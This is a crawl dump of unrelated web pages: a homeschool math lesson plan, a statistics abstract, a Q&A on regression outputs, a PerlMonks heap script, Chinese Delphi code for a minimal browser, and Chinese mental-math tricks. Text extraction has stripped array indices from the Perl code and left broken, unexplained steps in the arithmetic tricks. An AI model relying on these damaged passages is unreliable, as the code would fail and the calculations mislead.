lapbook.\n\nLesson 62\n\n2. Today cut out and fill in the First Thing cat piece and Steps 2-4. Attach them to your lapbook. (You can find the four steps in the link above in #1: divide, multiply, subtract, bring down.)\n\nLesson 63\n\n1. Watch the study jam on multiplication and division. Then test yourself. (Note! There are two pictures missing. The first missing picture is two rows of six dots each. The second missing picture is two rows of three flowers.)\n2. Cut out and fill in the answers to the smiley face and Then What. Attach them to your lapbook.\n\nLesson 64\n\n1. Cut out all of the numbers. Make sure you cut out the blank square and leave it attached to each number. You are going to fold it in half to hang it on the yarn. Attach the yarn as described in the directions. Put the numbers in the number pocket and attach it to you lapbook.\n\nLesson 65\n\n1. Divide 84 by each of the divisors.\n2. Do the study jam on single-digit division. Go through the lesson step by step and then make sure you test yourself.\n\nLesson 66\n\n1. Divide. Do five.\n2. Divide. Do five more.\n\nLesson 67\n\nLesson 68\n\n1. Watch the study jam, step by step, on double-digit division. Then test yourself.\n\nLesson 69\n\nLesson 70\n\nDecimals\n\nLesson 71\n\n1. Place value review — Read the page.\n\nLesson 72\n\n1. Read about the relationship between fractions, decimals and percents. Don’t do the questions.\n2. Do the study jam about dividing decimals.\n\nLesson 73\n\n1. Watch the video on changing fractions into decimals and answer the questions.\n2. Now divide to find the decimal form of 3/5 and 3/4. (answers: 0.6, 0.75)\n\nLesson 74\n\n1. Match the fractions and decimals.\n2. Do it again.\n\nLesson 75\n\n1. Do ten of the decimal problems. Match the decimal to the number in the top yellow bar.\n2. Always remember to reduce your fractions. Simplify!\n3. Add and subtract the fractions.\n\nLesson 76\n\nLesson 77\n\nLesson 78\n\nLesson 79*\n\n1. *Complete, multiplying decimals.\n\nLesson 80*\n\n1. *Complete, multiplying decimals.\n\nLesson 81\n\n1. Add and subtract the decimals. Choose addition, decimals, and level 1. Once you’ve gotten confetti two times, then click to go back and choose decimals, subtraction, level 1. Get that confetti!\n\nLesson 82\n\n1. Subtract the decimals as if you were finding the amount of change.\n• Choose subtraction, money, and level 1.\n\nLesson 83\n\n1. Play cash out. Choose “easy,” then “medium.” Click on “NO” for “show change amount.” Subtract or count on to find the amount. Can you use mental math?\n\nLesson 84\n\n2. Refer to your lapbook if you need help remembering the steps to division.\n\nLesson 85*\n\n1. Look at the different ways to write division problems. (Sometimes you may see 28 over 7 with a line in between, like a fraction, instead of 28/7. This means the same thing.)\n2. *Write the division problems in different formats, dividing in different formats. (answer key)\n\nLesson 86*\n\n1. *Complete the worksheet, comparing fractions and decimals. Divide the fractions to convert them into decimals and then compare the decimals.\n• Hint: You only need to divide as far as you need to in order to know which is the bigger fraction. Then write in the comparison symbol.\n\nLesson 87\n\n1. Choose multiplication. Get five correct on level 4.\n\nLesson 88\n\n1. Divide. Do five questions.\n2. Divide. Do five questions. These will have a remainder. Write it by the R.\n\nLesson 89\n\n1. Read all THREE pages about adding fractions and do the problems. Notice how they simplify (reduce the fractions), writing an equivalent fraction for the answer.\n2. Add fractions. Choose “Add Fractions” and Click on “Same Denominator?” at the bottom.\n\nLesson 90\n\n1. Death to Decimals (use arrow keys to move and space bar to shoot)\n2. Visual Fractions — Make sure you scroll down and read the directions!\n\nLesson 91\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n• When you add and subtract, the denominator doesn’t change.\n• When you multiply and divide, you use the numerator and the denominator.\n\nLesson 92*\n\n1. Do multiplication facts. Choose multiplication, level 1. If it’s too easy, choose level 2. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n4. Read about multiplying fractions and answer the questions. You have to go on to the next page.\n5. *Complete the long division problems.\n\nLesson 93\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n\nLesson 94*\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. *Complete the worksheet.\n\nLesson 95*\n\n1. Read about dividing fractions by whole numbers, just page one. You should copy down one of the problems and try it for yourself.\n2. *Complete this worksheet, dividing fractions and whole numbers. Remember that you can write a whole number as a fraction. For example, 2 is 2/1 and 8 is 8/1 . (answer key)\n\nAverages\n\nLesson 96\n\n1. Learn about the mean, median, and mode.\n2. Practice.\n\nLesson 97\n\n1. Read about the mean, median, mode, and range. Then do the activities at the bottom of the page. Don’t click on the top video/activity.\n\nLesson 98\n\n1. Mean, median, and mode\n2. Divide the fractions.\n\nLesson 99\n\n1. Play Mean, Median, Mode.\n2. Play Mean, Median, Mode, Range. Play until it gives you your data set.\n\nLesson 100\n\n1. Add and subtract the money to make change. Under the activity click on Give Change.\n2. Round to the nearest…\n\nPercents\n\nLesson 101\n\n2. Now find the percent of a number by multiplying it by a decimal or fraction.\n• 50% = .5 or 50/100, which is one half!\n• What’s 100%? 100/100, which is…?\n• Choose 50% and 100% from the dropdown options.\n• When you are good with how easy that is, click on exit and click on 25% or 10% and play again.\n\nLesson 102\n\n1. I know you’ve seen this before, but read about fractions, decimals, and percentages and answer the questions.\n\nLesson 103\n\n1. Change fractions into percentages.\n\nLesson 104\n\nLesson 105\n\n1. Match the fractions and decimals. Figure them out.\n2. Watch the video on decimal place value.\n\nWord Problems\n\nLesson 106\n\n1. Can you figure out these prices?\n2. Here is some help.\n• A 20% tip on a \\$10 bill is \\$10 x 0.20 = \\$2.00.\n• A 30% discount on a \\$100 item is \\$100 x 0.30 = \\$30 off.  The final price would be \\$100 – \\$30.\n\nLesson 107\n\n1. Solve the story problems.\n\nLesson 108\n\n1. Solve the word problems.\n\nLesson 109\n\n1. Solve the word problems. Only use the information you need!\n\nLesson 110\n\n1. Solve the word problems. It will show you step by step how to solve it.\n\nRounding Decimals\n\nLesson 111\n\n1. Play the place value game. Choose level 3 and place value.\n\nLesson 112\n\n1. Play the ducks decimal place value game.\n2. Play the pirate decimal place value game.\n3. Play some games.\n\nLesson 113\n\n1. Play the rounding game\n2. Play Arithmetic.\n• Choose each addition, subtraction, multiplication, and division.\n• Choose level 1 for each.\n• See the confetti fall before you switch to the next type.\n3. Play some games.\n\nLesson 114\n\n1. Quick! Add the decimals. Combine two bones to make the target number.\n2. Round the decimals. Follow the directions each time at the top of the screen. It doesn’t always ask you to do the same thing.\n3. Play some games.\n\nLesson 115\n\n1. Play with the decimal number line. Click on decimal and then the different options. Read the number line! How do those numbers fit together?\n2. Now, play the decimal detective game. Choose the sergeant mode.\n\nTime\n\nLesson 116\n\n1. Go through all four operations, each until you see confetti. Choose level 2. Once you see confetti, you can click to go back and make a new choice (in the bottom left corner).\n2. Play the time traveler game.\n\nLesson 117\n\n1. Solve the word problems.\n2. Practice elapsed time.\n\nLesson 118\n\n1. Solve the word problems.\n2. Practice elapsed time.\n\nGeometry (and Measurement)\n\nLesson 119\n\n1. Solve the word problems.\n2. Watch the shape song. Yes, I know it starts with a circle, but be patient.\n\nLesson 120(*)\n\n1. Solve the word problems. (Take a screen shot of your correct answer and print it out for your portfolio.)\n3. (*) Even if you don’t make it, take a look at this dodecahedron net. Nets are 3D images opened up and laid flat. You can print this and cut and paste it back into its 3D shape.\n\nLesson 121\n\n1. Solve the word problems.\n2. Play 3D shape explorer.\n\nLesson 122\n\n1. Read about the properties of the 3-D shape and do the activities UNDER the reading. Don’t use the video on the top of the page.\n2. Here are some shapes labeled. NamesProperties\n3. Count the coins. Choose all four types.\n\nLesson 123\n\n1. What is a line of symmetry? Then click on the link there for reflection symmetry.\n2. Here are some examples. Skip the video at the top. Look at the pictures and read the description, and then try the activity at the bottom of the page.\n3. Identify the lines of symmetry.\n\nLesson 124\n\n1. Learn about the types of angles.\n2. Identify the angle types.\n\nLesson 125\n\n1. Identify the angles.\n\nLesson 126\n\n2. Take a screen shot to include in your portfolio.\n\nLesson 127\n\n1. Learn about perimeter and area.\n2. Find the area and perimeter. Click Game and then choose level 2.\n\nLesson 128\n\n1. Measure with a ruler. Learn from your mistakes. The numbers mark the centimeters. The little lines are millimeters.\n\nLesson 129\n\n1. Create the shape that gives you the perimeter and area shown. Make it half of each color, so that for every block of one color you put on, you put on one of the other.\n2. Drag and drop to make the shapes. Click Game and choose level 5.\n\nLesson 130\n\n1. Design a zoo. Click and drag (don’t let go until you’ve made a rectangle) to make the enclosure have the right area.\n2. Pour the drinks. Directions:\n2. Select the cup size. Select the soda type. Select the container. Repeat for each item.\n3. When your order is complete, click Send.\n4. Repeat with each new order.\n5. If the client order is blank, click Send to get a new order.\n6. Continue until the 5-minute time limit is up.\n\nReview\n\nLesson 131\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes?\n2. Choose addition. Get five correct on level 4.\n\nLesson 132\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Choose subtraction. Get five correct on level 4.\n\nLesson 133\n\n1. Do multiplication facts. Choose multiplication, level one. If it’s too easy, choose level two. How many can you get correct in 2 minutes?\n2. Choose multiplication. Get five correct on level 4.\n\nLesson 134\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Divide. Do five.\n3. Divide. Do five with remainders.\n\nLesson 135\n\n1. Play with time a little. Skip the video but read and scroll down to complete the three activities.\n• Label the times.\n• Change the PM times to 24 hours by adding the 12 hours that has passed in the AM. 1PM is the 12 hours of the AM + 1 hour passed in the PM = 12 + 1 = 13:00.\n• Label the clock with Roman numerals.\n\nFractions\n\nLesson 136\n\n1. Play this factors game. Factors are the numbers that can be divided evenly into a number with no remainder. For example, you can divide 24 by 2 and 3 and 4 and 6 and 8 and 12. So that means that the numbers 2, 3, 4, 6, 8, 12 are all factors of 24. The numbers 5 and 7, for example, are NOT factors of 24 because you can’t divide 24 by 5 and get a whole number. You would get a decimal, or have a remainder.\n\nLesson 137\n\nLesson 138\n\n1. Fraction workshop — Click on “add fractions with the same denominators.” Do 10.\n2. You need to simplify your answers. Do you remember what that means? It means to find the equivalent fraction that uses the lowest numbers. You do that by dividing the numerator and denominator (the top and bottom) by the same number. If the top and bottom numbers are both even, then you know you can divide them both by two to make them smaller.\n3. Do ten more using mixed fractions with the same denominator.\n\nLesson 139\n\n1. Fraction workshop — Click on “subtract fractions with like denominators,” ones that are the same.\n2. Complete ten.\n\nLesson 140\n\n1. Fraction workshop — Click on “subtract with mixed fractions and with like denominators.”\n2. Complete ten.\n\nLesson 141*\n\n1. *Print and complete this worksheet, adding three fractions. If it is an improper fraction (the top number is bigger than the bottom number), divide the fraction to make it a mixed number. Simplify the fraction by finding the equivalent fraction with the lowest numbers. Look at the answer to the first problem to see how to write the answer.\n\nLesson 142\n\n1. Read about adding and subtracting fractions when the denominators are different. Make sure you keep going to the next page and do the practice problems.\n\nLesson 143\n\nLesson 144\n\nLesson 145\n\n1. Round the numbers.\n2. Choose any 3-digit category.\n\nLesson 146\n\nLesson 147\n\n1. Subtract fractions.\n\nLesson 148\n\n1. Multiply fractions.\n2. Multiply mixed numbers. You have to make them into improper fractions first. Here’s how.\n\nLesson 149\n\n1. Divide fractions.\n2. Divide mixed numbers. You have to make them into improper fractions first and then find the reciprocal of the second number. Here’s how.\n\nLesson 150\n\n1. Estimate to blast the asteroids. Choose “Estimate Sums.”\n\nLesson 151*\n\n1. *Complete the two pages of review.\n\nLesson 152*\n\n1. *Complete the two pages of review. (answer key)\n\nLesson 153*\n\n1. *Complete the two pages of review.\n\nLesson 154*\n\n1. *Complete the two pages of review. (answer key)\n\nLesson 155\n\n1. Do you remember expanded notation?\n2. Play probability.\n\nOrder of Operations\n\nLesson 156\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n\nLesson 157\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Watch the order of operation video.\n3. Use order of operations to save the day.\n• Scroll down and click on a character.\n• Click on the two numbers and the operation that you should solve first.\n\nLesson 158\n\n1. Do multiplication facts. Choose multiplication, level 1. If it’s too easy, choose level 2. How many can you get correct in 2 minutes?\n2. Save the day! Make sure you read the instructions. (If you can’t see the game, after you read the instructions, try this link.)\n\nLesson 159\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Add and subtract fractions. Add and then subtract. You can use unlike denominators.\n\nLesson 160\n\nCoordinate Plane\n\nLesson 161\n\n1. Choose addition. Get five correct on level 4.\n2. Learn about the coordinate plane.\n\nLesson 162\n\n1. Choose subtraction. Get five correct on level 4.\n2. Find the house. Click on Guess Mode so that you can check your answer. Type in the coordinates of the house.\n\nLesson 163\n\n1. Choose multiplication. Get five correct on level 4.\n2. Get to the target without hitting the mines. You will have to enter coordinates a few times to get there. What’s your first move?\n\nLesson 164\n\n1. Divide. Do five questions.\n2. Can you do it with negative numbers? Read the labels. Whack a mole.\n\nLesson 165\n\n1. Stock the shelves.\n2. Write the numbers. How well can you spell?\n\nProbability\n\nLesson 166\n\n2. Read about probability. Skip the video at the top and answer the three questions by clicking on the three pictures under the reading. The darker portions will block the putt from going through. The light areas will allow the ball to go through. There are 6 spaces on the windmill. A one out of six chance would be one light out of the six triangles. A one out of two chance would be one light for every two triangles.\n\nLesson 167\n\n1. Mental math\n3. Probability spinner – Change the spinner to four sectors (under “spinner”). Watch the percentages change as you change the sectors. That’s the probability that the spinner will land on that color.\n4. Learn about probability as a fraction. Do the Step by Step, Vocabulary terms, and Test.\n\nLesson 168\n\n1. Mental math\n3. Learn about finding probability. Do the Step by Step, Vocabulary terms, and Test.\n\nLesson 169\n\n1. Mental math\n3. Learn about a tool to help you guess an outcome. Do the Step by Step, Vocabulary terms, and Test.\n\nLesson 170\n\n1. Mental math\n3. Learn about making predictions. Do the Video, Vocabulary terms, and Test.\n\nMeasurement\n\nLesson 171\n\n1. Mental math\n3. Learn about different units of measurement. Do the Video, Vocabulary terms, and Test.\n\nLesson 172\n\n1. Mental math\n3. Learn about customary units of length. Do the Step by Step, Vocabulary terms, and Test.\n\nLesson 173\n\n1. Mental math\n3. Learn about tools of measurement. Do the Video, Karaoke, Vocabulary, and Test.\n\nLesson 174\n\n1. Mental math\n3. Learn about measuring length. Do the Step by Step, Karaoke, Vocabulary, and Test.\n\nLesson 175\n\n1. Mental math\n3. Learn about finding volume. Do the Video, Karaoke, Vocabulary, and Test.\n\nLesson 176\n\n1. Learn about telling temperature. Do the Step by Step, Karaoke, Vocabulary, and Test.\n\nTime\n\nLesson 177\n\n1. Learn about telling time. Do the Step by Step, Karaoke, Vocabulary, and Test.\n\nLesson 178\n\n1. Convert units of time. Do the Step by Step and the Test.\n\nLesson 179\n\n1. Practice with elapsed time. Do the Step by Step, Vocabulary, and Test.\n\nLesson 180\n\n1. Play a game!\n2. Can you escape level 4? 🙂\n\nCongratulations on finishing fourth level math!\n\n## Donate/Say Thanks\n\nSUMMER SCHOOL – Make sure you know those facts! Use flashcards, our facts practice workbooks, our online facts practice page, and programs like xtramath.\n\nYou might want to consider beginning Math 5/6 now. Take a look at the course. It begins with review which would work over the summer. 🙂 Just take it slowly." ]
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https://projecteuclid.org/journals/annals-of-statistics/volume-1/issue-1/A-Statistical-Theory-of-Calibration/10.1214/aos/1193342379.full
[ "Translator Disclaimer\nJanuary, 1973 A Statistical Theory of Calibration\nHenry Scheffe\nAnn. Statist. 1(1): 1-37 (January, 1973). DOI: 10.1214/aos/1193342379\n\n## Abstract\n\nThe kind of calibration problem considered may be roughly described as follows: There are two related quantities $\\mathscr{U}$ and $\\mathscr{V}$ such that $\\mathscr{U}$ is relatively easy to measure and $\\mathscr{V}$ relatively difficult, requiring more effort or expense; furthermore the error in a measurement of $\\mathscr{V}$ is negligible compared with that for $\\mathscr{U}$. A distinguishing feature of the problem is, that from a single calibration experiment, where measurements are made on a number of pairs $(\\mathscr{U}, \\mathscr{V})$, we wish subsequently to estimate the unknown values of $\\mathscr{V}$ corresponding to a very large number of measurements of $\\mathscr{U}$. The problem is solved by a procedure of interval estimation, whose operating characteristic is expressed in terms of a reformulation of the law of large numbers. Some idea of the contents of the article may be obtained from the table of contents.\n\n## Citation\n\nHenry Scheffe. \"A Statistical Theory of Calibration.\" Ann. Statist. 1 (1) 1 - 37, January, 1973. https://doi.org/10.1214/aos/1193342379\n\n## Information\n\nPublished: January, 1973\nFirst available in Project Euclid: 25 October 2007\n\nzbMATH: 0253.62023\nMathSciNet: MR336920\nDigital Object Identifier: 10.1214/aos/1193342379\n\nRights: Copyright © 1973 Institute of Mathematical Statistics\n\nJOURNAL ARTICLE\n37 PAGES", null, "SHARE\nVol.1 • No. 1 • January, 1973", null, "" ]
[ null, "https://projecteuclid.org/Content/themes/SPIEImages/Share_black_icon.png", null, "https://projecteuclid.org/images/journals/cover_aos.jpg", null ]
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https://ai.stackexchange.com/questions/34408/training-a-regression-model-on-a-set-of-values-in-0-1-range-to-give-0-1-continua/34409
[ "# Training a regression model on a set of values in 0-1 range to give 0-1 continual values\n\nI have a textual dataset that has a set of real numbers as labels: L={0.0, 0.33, 0.5, 0.75, 1.0}, and I have a model that takes the text as input and has a Sigmoid output.\n\nIf I train the model on this data, will the model keep generating labels that exactly equal one of the values in L? or it might generate, as an example, 0.4?\n\nIf not, is there a solution for that?\n\n• To clarify: You want the model to be able to generate a 0.4 if that would be the best estimate given the input data? Feb 3 at 19:32\n• yes @NeilSlater Feb 3 at 19:40\n\nAs long as you train the model with a proper loss function for regression the model will learn to output any continuous values, not restricted to and most likely not exactly equal to the labels your providing during training, rather an approximation of them based on the level of generalization the model manage to learn.\n\nThe range of values the model can learn to output will also depend on the final activation function of your model. Using a sigmoid is indeed a good choice if your labels belong in the range 0-1.\n\nIf instead you don't want the model to learn continuous values then you need to frame the task as a classification problem, and convert your set of finite real values labels into a discrete representation, for example using one hot encoding and then train the model with a loss suited for classification.\n\nMany machine learning models used for regression will interpolate their predictions as you seem to want, and can return target values not seen in the training set.\n\nFor example, basic linear regression will do this provided at least one of the input variables is also continuous. Also neural networks.\n\nThere are some cases where it may not happen:\n\n• Decision tree-based algorithms (such as random forests) approximate with combinations of step functions, so most will output a set of discrete values. However, in practice this set will include many values that are not in the training set, and it is usually not a real concern, if your goal is accurate predictions for unseen data.\n\n• If all the input features are discrete, then there will be a discrete set of output values, equal in number to all the possible combinations of input. Again, this may not be a practical concern in your case, and will very likely generate outputs that are not in the training set." ]
[ null ]
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https://www.perlmonks.org/?displaytype=xml;node_id=248560
[ "note Abigail-II Yeah, whatever. Here's a modification of the program. Give the number of elements to extract as a command line argument, and the elements to extract from on STDIN. It assumes that there are enough elements on STDIN. <p> <code> #!/usr/bin/perl use strict; use warnings; my @heap; my \\$M = @ARGV ? shift : 10; sub heapify; sub heapify { my \\$idx = shift; my \\$max = \\$idx; for my \\$try (2 * \\$idx + 1, 2 * \\$idx + 2) { \\$max = \\$try if \\$try < @heap && \\$heap [\\$try] > \\$heap [\\$max] } return if \\$max == \\$idx; @heap [\\$idx, \\$max] = @heap [\\$max, \\$idx]; heapify \\$max; } sub extract_max { return unless @heap; my \\$min = \\$heap ; my \\$tmp = pop @heap; if (@heap) { \\$heap = \\$tmp; heapify 0; } return \\$min; } # First load the heap with initial data. for (1 .. \\$M) { push @heap => scalar <>; } chomp @heap; # # Heapify it. # for (my \\$i = int (@heap / 2); \\$i --;) { heapify \\$i; } # # Deal with the rest. # while (<>) { chomp; next if \\$_ >= \\$heap ; # It's too large. \\$heap = \\$_; heapify 0; } my @result; push @result => extract_max while @heap; @result = reverse @result; print \"@result\\n\"; __END__ </code> <p> The running time of this is O (N log k), using O (k) memory. <p> Abigail 248282 248517" ]
[ null ]
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http://www.xuexidashi.vip/h-nd-483.html
[ "# DelphiXE4开发一个40KB的浏览器", null, "DelphiXE4以后编译出的代码体积越来越大.我一直都是追着最新的Delphi版本,所以不可能退回早期版本.\n\nSystem.Classes 398,080 CODE\nSystem.Rtti 293,860 CODE\nVcl.Themes 243,644 CODE\nVcl.Controls 130,056 CODE\nVcl.Forms 121,104 CODE\n\nIOleInPlaceSite)只要实现这些接口就行了,不知道如何实现的就返回E_NOTIMPL告诉系统:”我没实现”就好了.\n\nMicroWebBrowser 4,696 CODE\nMicroWebBrowser 48 DATA\nMicroWebBrowser 20 ICODE\nMicroWebBrowser 20 BSS\n\n `program` `wb;``uses``  ``Windows,``  ``Messages,``  ``MicroWebBrowser ``in` `'MicroWebBrowser.pas'``;` `const``  ``WBName = ``'Delphi小小浏览器'``;``var``  ``gWb: TMicroWebBrowser;``  ``MainHwnd, hUrlText, hButton: HWND;``  ``txtProc, BtnProc: LONG;` `procedure` `NavigateTxtUrl();``var``  ``tmpStr: ``string``;``  ``l: ``Integer``;``  ``hr : HRESULT;``begin``  ``l := GetWindowTextLength(hUrlText) + ``10``;``  ``SetLength(tmpStr, l);``  ``GetWindowText(hUrlText, ``PChar``(tmpStr), l);``  ``tmpStr := ``PChar``(tmpStr);``  ``gWb``.``Navigate(tmpStr);``  ``hr := gWb``.``WaitComplete(``5000``);``  ``if` `(hr = S_OK)``or` `(hr = ERROR_TIMEOUT) ``then``  ``begin``  ``tmpStr := gWb``.``WebBrowser``.``Get_LocationURL();``  ``SetWindowText(hUrlText, ``PChar``(tmpStr));``  ``tmpStr := WBName +``' - '``+ gWb``.``WebBrowser``.``Get_LocationName;``  ``SetWindowText(MainHwnd, ``PChar``(tmpStr));``  ``end``  ``else``  ``begin``  ``tmpStr := WBName;``  ``SetWindowText(MainHwnd, ``PChar``(tmpStr));``  ``end``;``end``;` `// 窗口过程``function` `WndProc(HWND: THandle; Message: ``Longint``; wParam: wParam;``  ``lParam: lParam): LRESULT; stdcall;``const``  ``BlankUrl = ``'about:blank'``;``  ``UrlTextHeight = ``30``;``  ``ButtonWidth = ``50``;``  ``procedure` `ReLayout(``const` `Width, Height: ``WORD``);``  ``begin``  ``SetWindowPos(hUrlText, HWND_TOP, ``0``, ``0``, Width - ButtonWidth,``  ``UrlTextHeight, ``0``);``  ``SetWindowPos(hButton, HWND_TOP, Width - ButtonWidth, ``0``, ButtonWidth,``  ``UrlTextHeight, ``0``);``  ``gWb``.``SetBounds(``0``, UrlTextHeight, Width, Height - UrlTextHeight);``  ``end``;` `var``  ``rMain: TRect;``begin` `  ``if` `HWND = hButton ``then``  ``begin``  ``Case` `Message ``of``  ``WM_LBUTTONUP:``  ``begin``  ``NavigateTxtUrl();``  ``end``;``  ``end``;``  ``result := CallWindowProc(``Pointer``(BtnProc), HWND, Message, wParam, lParam);``  ``end``  ``else` `if` `HWND = hUrlText ``then``  ``begin``  ``Case` `Message ``of``  ``WM_KEYDOWN:``  ``begin``  ``if` `wParam = VK_RETURN ``then``  ``NavigateTxtUrl();``  ``end``;``  ``end``;``  ``result := CallWindowProc(``Pointer``(txtProc), HWND, Message, wParam, lParam);``  ``end``  ``else``  ``begin``  ``Case` `Message ``of``  ``WM_CREATE:``  ``begin``  ``GetClientRect(HWND, rMain);``  ``hUrlText := CreateWindowEx(``0``, ``'EDIT'``, BlankUrl,``  ``WS_CHILD ``or` `WS_VISIBLE ``or` `WS_BORDER, ``0``, ``0``, ``0``, ``0``, HWND, ``0``,``  ``hInstance, ``nil``);``  ``txtProc := SetWindowLong(hUrlText, GWL_WNDPROC, LONG(@WndProc));``  ``hButton := CreateWindowEx(``0``, ``'BUTTON'``, ``'访问'``, WS_CHILD ``or` `WS_VISIBLE ``or``  ``WS_BORDER, ``0``, ``0``, ``0``, ``0``, HWND, ``0``, hInstance, ``nil``);``  ``BtnProc := SetWindowLong(hButton, GWL_WNDPROC, LONG(@WndProc));``  ``gWb := TMicroWebBrowser``.``Create(HWND, rMain``.``Left,``  ``rMain``.``Top + UrlTextHeight, rMain``.``Right - rMain``.``Left,``  ``rMain``.``Height - (rMain``.``Top + UrlTextHeight));``  ``ReLayout(rMain``.``Right - rMain``.``Left, rMain``.``Bottom - rMain``.``Top);``  ``gWb``.``Navigate(BlankUrl);``  ``// gWb.Navigate('http://www.baidu.com');``  ``end``;``  ``WM_SIZE:``  ``begin``  ``if` `(gWb <> ``nil``) ``and` `(gWb``.``WebBrowser <> ``nil``) ``then``  ``begin``  ``ReLayout(``WORD``(lParam), HiWord(lParam));``  ``end``;``  ``end``;``  ``WM_DESTROY:``  ``begin``  ``gWb``.``Free;``  ``PostQuitMessage(``0``);``  ``result := ``1``;``  ``exit;``  ``end``;``  ``end``;``  ``result := DefWindowProc(HWND, Message, wParam, lParam);``  ``end``;``end``;` `var``  ``WndClass: TWndClass = (style: ``0``; lpfnWndProc: @WndProc; cbClsExtra: ``0``;``  ``cbWndExtra: ``0``; hInstance: ``0``; hIcon: ``0``; hCursor: ``0``; hbrBackground: ``0``;``  ``lpszMenuName: ``nil``; lpszClassName: ``'TWebBrowser'``);` `var``  ``msg: Tmsg;` `begin``  ``if` `RegisterClass(WndClass) <> ``0` `then``  ``begin``  ``MainHwnd := CreateWindowEx(``0``, WndClass``.``lpszClassName, WbName,``  ``ws_OverlappedWindow, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,``  ``CW_USEDEFAULT, ``0``, ``0``, hInstance, ``nil``);``  ``if` `MainHwnd <> ``0` `then``  ``begin``  ``ShowWindow(MainHwnd, sw_ShowNormal);``  ``UpdateWindow(MainHwnd);``  ``while` `GetMessage(msg, ``0``, ``0``, ``0``) ``do``  ``begin``  ``TranslateMessage(msg);``  ``DIspatchMessage(msg);``  ``end``;``  ``ExitCOde := msg``.``wParam;``  ``end``;``  ``end``;` `end``.`\n\n{\\$RTTI EXPLICIT METHODS([]) PROPERTIES([]) FIELDS([])}", null, "" ]
[ null, "http://www.xuexidashi.vip/UpFile/201311/20131120202249783.jpg", null, "http://www.xuexidashi.vip/UpFile/201311/20131120202250938.jpg", null ]
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http://www.teachblog.net/ljxian/archive/2009/07/02/10570.html
[ "A、乘法速算\n\n15 + 7 = 22\n5 × 7 = 35\n---------------\n255\n\n15×17\n=15 ×(10 + 7)\n=15 × 10 + 15 × 7\n=150 + (10 + 5)× 7\n=150 + 70 + 5 × 7\n=(150 + 70)+(5 × 7)\n\n17 + 9 = 26\n7 × 9 = 63\n\n50 × 30 = 1500\n50 + 30 = 80\n------------------\n1580\n\n80 × 90 = 7200\n80 + 90 = 170\n------------------\n7370\n------------------\n7371\n\n(43 + 6)× 40 = 1960\n3 × 6 = 18\n----------------------\n1978\n\n(89 + 7)× 80 = 7680\n9 × 7 = 63\n----------------------\n7743\n\n(5 + 1) × 5 = 30--\n6 × 4 = 24\n----------------------\n3024\n\n(7 + 1) × 7 = 56--\n3 × 7 = 21\n----------------------\n5621\n\n(2 + 1) × 2 = 6--\n1 × 9 = 9\n----------------------\n609\n“--”代表十位和个位,因为两位数的首位相乘得数的后面是两个零,请大家明白,不要忘了,这点是很容易被忽略的。\n\n5 × 5 = 25--\n(6 + 8 )× 5 = 7--\n6 × 8 = 48\n----------------------\n3248\n\n(3 + 1)× 6 = 24--\n6 × 7 = 42\n----------------------\n2442\n\n(1 + 1)× 9 = 18--\n9 × 9 = 81\n----------------------\n1881\n\n4 × 9 + 9 = 45--\n6 × 9 = 54\n-------------------\n4554\n\n8 × 3 + 3 = 27--\n2 × 3 = 6\n-------------------\n2706\n\n7 × 3 + 8 = 29--\n8 × 8 = 64\n-------------------\n2964\n\n2 × 8 + 3 = 19--\n3 × 3 = 9\n--------------------\n1909\nB、平方速算\n\n17 + 7 = 24-\n7 × 7 = 49\n---------------\n289\n\n7 × 7 = 49--\n7 × 2 = 14-\n-----------------\n5041\n\n(3 + 1)× 3 = 12--\n25\n----------------------\n1225\n\n21 × 21 = 441\n22 × 22 = 484\n23 × 23 = 529\n24 × 24 = 576\n\n37 - 25 = 12--\n(50 - 37)^2 = 169\n----------------------\n1369\n\n26 - 25 = 1--\n(50-26)^2 = 576\n-------------------\n676\nC、加减法\n\nD、除法速算\n\n1、 被除数 ÷ 5\n= 被除数 ÷ (10 ÷ 2)\n= 被除数 ÷ 10 × 2\n= 被除数 × 2 ÷ 10\n2、 被除数 ÷ 25\n= 被除数 × 4 ÷100\n= 被除数 × 2 × 2 ÷100\n3、 被除数 ÷ 125\n= 被除数 × 8 ÷100\n= 被除数 × 2 × 2 × 2 ÷100" ]
[ null ]
{"ft_lang_label":"__label__zh","ft_lang_prob":0.7834713,"math_prob":0.99998987,"size":3000,"snap":"2020-34-2020-40","text_gpt3_token_len":2305,"char_repetition_ratio":0.20761015,"word_repetition_ratio":0.015810277,"special_character_ratio":0.6566667,"punctuation_ratio":0.006289308,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99995255,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-05T13:00:16Z\",\"WARC-Record-ID\":\"<urn:uuid:178d2431-35d0-4965-b255-5fb078f29263>\",\"Content-Length\":\"60131\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:81ff539e-4284-4aa6-af16-c8003fe9f561>\",\"WARC-Concurrent-To\":\"<urn:uuid:396f7cde-b9cf-4509-8b52-e07ad9c16a45>\",\"WARC-IP-Address\":\"47.97.166.246\",\"WARC-Target-URI\":\"http://www.teachblog.net/ljxian/archive/2009/07/02/10570.html\",\"WARC-Payload-Digest\":\"sha1:LEDBQLMGJJ2XE4DAG4ZCPMMF23WZY7XR\",\"WARC-Block-Digest\":\"sha1:TAJWKGOVNLG7EEUYX7L4QTCUGQUMX3G7\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439735958.84_warc_CC-MAIN-20200805124104-20200805154104-00088.warc.gz\"}"}
https://pubs2.ttiedu.com/lm_outline?lmid=6950
